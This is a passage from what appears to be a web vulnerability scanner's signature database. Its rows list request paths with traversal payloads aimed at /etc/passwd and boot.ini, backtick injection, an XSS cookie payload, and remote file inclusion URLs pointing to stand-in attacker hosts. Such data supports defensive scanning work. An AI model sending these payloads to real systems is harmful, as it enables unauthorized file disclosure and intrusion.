  3064. "generic","/forum-ra_professionnel.asp?n=../../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3065. "generic","/forum-ra_professionnel.asp?n=/....../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3066. "generic","/forum-ra_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3067. "generic","/forum-ra_professionnel.asp?n=/../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3068. "generic","/forum-ra_professionnel.asp?n=/../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3069. "generic","/forum-ra_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3070. "generic","/forum-ra_professionnel.asp?n=/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3071. "generic","/forum-ra_professionnel.asp?n=/etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3072. "generic","/forum-ra_professionnel.asp?n=c:\boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3073. "generic","/forum.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3074. "generic","/forum.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3075. "generic","/forum.asp?n=../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3076. "generic","/forum.asp?n=/....../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3077. "generic","/forum.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3078. "generic","/forum.asp?n=/../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3079. "generic","/forum.asp?n=/../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3080. "generic","/forum.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3081. "generic","/forum.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3082. "generic","/forum.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3083. "generic","/forum.asp?n=c:\boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3084. "generic","/forum/mainfile.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3085. "generic","/forum/member.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3086. "generic","/forum/newreply.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3087. "generic","/forum/newthread.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3088. "generic","/forum/viewtopic.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3089. "generic","/forum1.asp?n=%60/etc/passwd%60&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3090. "generic","/forum1.asp?n=....//....//....//....//....//....//....//etc.passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3091. "generic","/forum1.asp?n=../../../../../../../../../etc/passwd%00&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3092. "generic","/forum1.asp?n=../../boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3093. "generic","/forum1.asp?n=/....../boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3094. "generic","/forum1.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3095. "generic","/forum1.asp?n=/../../../../../../etc/passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3096. "generic","/forum1.asp?n=/../../../etc/passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3097. "generic","/forum1.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3098. "generic","/forum1.asp?n=/etc/passwd%00&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3099. "generic","/forum1.asp?n=/etc/passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3100. "generic","/forum1.asp?n=1753&nn=%60/etc/passwd%60","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3101. "generic","/forum1.asp?n=1753&nn=....//....//....//....//....//....//....//etc.passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3102. "generic","/forum1.asp?n=1753&nn=../../../../../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3103. "generic","/forum1.asp?n=1753&nn=../../../../../../../../../../etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3104. "generic","/forum1.asp?n=1753&nn=/....../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3105. "generic","/forum1.asp?n=1753&nn=/..../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3106. "generic","/forum1.asp?n=1753&nn=/../../../../../../../../../../../../../../../../../../../../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3107. "generic","/forum1.asp?n=1753&nn=/.\"./.\"./.\"./.\"./.\"./boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3108. "generic","/forum1.asp?n=1753&nn=/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3109. "generic","/forum1.asp?n=1753&nn=/etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3110. "generic","/forum1.asp?n=1753&nn=c:\boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3111. "generic","/forum1.asp?n=c:\boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3112. "generic","/forum1_professionnel.asp?n=%60/etc/passwd%60&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3113. "generic","/forum1_professionnel.asp?n=....//....//....//....//....//....//....//etc.passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3114. "generic","/forum1_professionnel.asp?n=../../../../../../../../../etc/passwd%00&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3115. "generic","/forum1_professionnel.asp?n=/....../boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3116. "generic","/forum1_professionnel.asp?n=/.../.../.../.../.../.../boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3117. "generic","/forum1_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3118. "generic","/forum1_professionnel.asp?n=/../../../../../../../../etc/passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3119. "generic","/forum1_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3120. "generic","/forum1_professionnel.asp?n=/etc/passwd%00&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3121. "generic","/forum1_professionnel.asp?n=/etc/passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3122. "generic","/forum1_professionnel.asp?n=1771&nn=%60/etc/passwd%60&page=1","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3123. "generic","/forum1_professionnel.asp?n=1771&nn=....//....//....//....//....//....//....//etc.passwd&page=1","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3124. "generic","/forum1_professionnel.asp?n=1771&nn=../../../../../../../../../etc/passwd%00&page=1","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3125. "generic","/forum1_professionnel.asp?n=1771&nn=/....../boot.ini&page=1","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3126. "generic","/forum1_professionnel.asp?n=1771&nn=/../../../../../../../../../../../../../../../../../../../../boot.ini&page=1","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3127. "generic","/forum1_professionnel.asp?n=1771&nn=/../../../../../../../../etc/passwd&page=1","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3128. "generic","/forum1_professionnel.asp?n=1771&nn=/.\"./.\"./.\"./.\"./.\"./boot.ini&page=1","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3129. "generic","/forum1_professionnel.asp?n=1771&nn=/etc/passwd%00&page=1","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3130. "generic","/forum1_professionnel.asp?n=1771&nn=/etc/passwd&page=1","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3131. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=%60/etc/passwd%60","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3132. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=....//....//....//....//....//....//....//etc.passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3133. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=../../../../../../../../../etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3134. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/....../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3135. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/..../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3136. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/.../.../.../.../.../.../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3137. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/../../../../../../../../../../../../../../../../../../../../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3138. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/../../../../../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3139. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/.\"./.\"./.\"./.\"./.\"./boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3140. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3141. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=/etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3142. "generic","/forum1_professionnel.asp?n=1771&nn=100&page=c:\boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3143. "generic","/forum1_professionnel.asp?n=1771&nn=c:\boot.ini&page=1","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3144. "generic","/forum1_professionnel.asp?n=c:\boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3145. "generic","/forum_arc.asp?n=%60/etc/passwd%60|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3146. "generic","/forum_arc.asp?n=../../../../../../../../../etc/passwd%00|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3147. "generic","/forum_arc.asp?n=/....../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3148. "generic","/forum_arc.asp?n=/.../.../.../.../.../.../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3149. "generic","/forum_arc.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3150. "generic","/forum_arc.asp?n=/../../../../../../../../etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3151. "generic","/forum_arc.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3152. "generic","/forum_arc.asp?n=/etc/passwd%00|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3153. "generic","/forum_arc.asp?n=/etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3154. "generic","/forum_arc.asp?n=268","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3155. "generic","/forum_arc.asp?n=c:\boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3156. "generic","/forum_professionnel.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3157. "generic","/forum_professionnel.asp?n=....//....//....//....//....//....//....//etc.passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3158. "generic","/forum_professionnel.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3159. "generic","/forum_professionnel.asp?n=/....../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3160. "generic","/forum_professionnel.asp?n=/.../.../.../.../.../.../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3161. "generic","/forum_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3162. "generic","/forum_professionnel.asp?n=/../../../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3163. "generic","/forum_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3164. "generic","/forum_professionnel.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3165. "generic","/forum_professionnel.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3166. "generic","/forum_professionnel.asp?n=100","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3167. "generic","/forum_professionnel.asp?n=c:\boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3168. "generic","/functions.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3169. "generic","/gallery/captionator.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3170. "generic","/get_od_toc.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3171. "generic","/globals.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3172. "generic","/globals.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3173. "generic","/Gozila.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3174. "generic","/helperfunction.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3175. "generic","/homebet/homebet.dll?form=menu&option=menu-signin","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3176. "generic","/htmltonuke.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3177. "generic","/idealbb/error.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3178. "generic","/iisprotect/admin/SiteAdmin.ASP?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3179. "generic","/imprimer.asp?no=%60/etc/passwd%60|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3180. "generic","/imprimer.asp?no=....//....//....//....//....//....//....//etc.passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3181. "generic","/imprimer.asp?no=../../../../../../../../../etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3182. "generic","/imprimer.asp?no=/....../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3183. "generic","/imprimer.asp?no=/.../.../.../.../.../.../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3184. "generic","/imprimer.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3185. "generic","/imprimer.asp?no=/../../../../../../../../etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3186. "generic","/imprimer.asp?no=/.\"./.\"./.\"./.\"./.\"./boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3187. "generic","/imprimer.asp?no=/etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3188. "generic","/imprimer.asp?no=/etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3189. "generic","/imprimer.asp?no=c:\boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3190. "generic","/include/customize.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3191. "generic","/include/help.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3192. "generic","/include/oci8.php?inc_dir=<a class=\"fixed\" href=\"http://www.attacker.com&ext=txt%20\" target=\"_blank\">http://www.attacker.com&ext=txt%20</a>","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3193. "generic","/includes/footer.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3194. "generic","/includes/header.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3195. "generic","/index.php?base=test%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3196. "generic","/index.php?IDAdmin=test","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3197. "generic","/index.php?pymembs=admin","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3198. "generic","/index.php?SqlQuery=test%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3199. "generic","/index.php?tampon=test%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3200. "generic","/index.php?topic=&lt;script&gt;alert(document.cookie)&lt;/script&gt;%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3201. "generic","/infos/contact/index.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3202. "generic","/infos/faq/index.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3203. "generic","/infos/gen/index.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3204. "generic","/infos/services/index.asp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3205. "generic","/instaboard/index.cfm","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3206. "generic","/intranet/browse.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3207. "generic","/invitefriends.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3208. "generic","/ipchat.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3209. "generic","/ixmail_netattach.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3210. "generic","/jsptest.jsp+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3211. "generic","/kernel/class/delete.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3212. "generic","/kernel/classes/ezrole.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3213. "generic","/ldap.search.php3?ldap_serv=nonsense%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3214. "generic","/livredor/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3215. "generic","/login.php3?reason=chpass2%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3216. "generic","/mail/include.html","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3217. "generic","/mail/settings.html","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3218. "generic","/mail/src/read_body.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3219. "generic","/mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3220. "generic","/mambo/banners.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3221. "generic","/manage/login.asp+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3222. "generic","/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3F","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3223. "generic","/members/ID.pm","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3224. "generic","/members/ID.xbb","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3225. "generic","/mlog.html","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3226. "generic","/mod.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3227. "generic","/modif/delete.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3228. "generic","/modif/ident.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3229. "generic","/modif_infos.asp?n=%60/etc/passwd%60","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3230. "generic","/modif_infos.asp?n=....//....//....//....//....//....//....//etc.passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3231. "generic","/modif_infos.asp?n=../../../../../../../../../etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3232. "generic","/modif_infos.asp?n=/....../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
